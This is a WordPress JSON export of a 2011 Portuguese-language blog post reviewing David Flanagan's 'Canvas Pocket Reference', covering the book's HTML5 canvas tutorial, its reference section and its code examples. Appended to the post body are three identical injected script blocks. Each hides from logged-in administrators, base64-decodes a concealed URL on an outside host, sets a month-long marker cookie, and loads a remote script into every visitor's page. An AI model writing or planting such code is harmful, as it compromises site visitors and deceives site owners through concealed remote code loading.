{"id":1589,"date":"2011-09-09T12:48:09","date_gmt":"2011-09-09T15:48:09","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1589"},"modified":"2025-10-26T22:39:09","modified_gmt":"2025-10-27T01:39:09","slug":"canvas-pocket-reference-de-david-flanagan-oreilly-media","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/09\/09\/canvas-pocket-reference-de-david-flanagan-oreilly-media\/","title":{"rendered":"\"Canvas Pocket Reference\" de David Flanagan; O'Reilly Media"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/09\/bkt.gif\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-full wp-image-1806\" style=\"margin: 10px;\" title=\"Canvas Pocket Reference\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/09\/bkt.gif\" alt=\"Canvas Pocket Reference\" width=\"85\" height=\"140\" \/><\/a>Esse livro aborda o uso do elemento &lt;canvas&gt; do Html 5. Como o pr\u00f3prio livro diz, o canvas \u00e9 um elemento revolucion\u00e1rio que permite o uso de uma maneira poderosa de elementos gr\u00e1ficos em aplica\u00e7\u00f5es Web. O autor explica como desenhar linhas, pol\u00edgonos, curvas, aplicar cores, gradientes, transpar\u00eancia, utilizar transforma\u00e7\u00f5es gr\u00e1ficas, manipular texto, utilizar sombras e manipular imagens utilizando JavaScript.<\/p>\n<p style=\"text-align: justify;\">O leitor necessita de um conhecimento m\u00e9dio de HTML e JavaScript. O primeiro cap\u00edtulo \u00e9 um tutorial sobre v\u00e1rios aspectos do &lt;canvas&gt; e o segundo serve de refer\u00eancia dos recursos do &lt;canvas&gt; e d\u00e1 nome ao livro. Uma coisa que achei bacana, \u00e9 que apesar de ser um \"Pocket Reference\", ele acompanha exemplos de c\u00f3digo, que podem ser obtidos a partir desse link: <a title=\"Exemplos\" href=\"http:\/\/examples.oreilly.com\/0636920016045\/\" target=\"_blank\" rel=\"noopener\">http:\/\/examples.oreilly.com\/0636920016045\/<\/a>.<\/p>\n<p style=\"text-align: justify;\">Os exemplos s\u00e3o simples e ajudam quem est\u00e1 come\u00e7ando a brincar com &lt;canvas&gt;. Recomendo esse livro pra quem ir\u00e1 ou j\u00e1 trabalha com &lt;canvas&gt;. Um guia de refer\u00eancia \u00e9 fundamental para quem trabalha com essa tecnologia.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Esse livro aborda o uso do elemento &lt;canvas&gt; do Html 5. Como o pr\u00f3prio livro diz, o canvas \u00e9 um elemento revolucion\u00e1rio que permite o uso de uma maneira poderosa de elementos gr\u00e1ficos em aplica\u00e7\u00f5es Web. O autor explica como <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/09\/09\/canvas-pocket-reference-de-david-flanagan-oreilly-media\/\">Continue lendo  <span class=\"screen-reader-text\">  \"Canvas Pocket Reference\" de David Flanagan; O'Reilly Media<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[68],"tags":[],"class_list":["post-1589","post","type-post","status-publish","format-standard","hentry","category-html-e-javascript"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1589","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1589"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1589\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1589"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1589"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1589"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}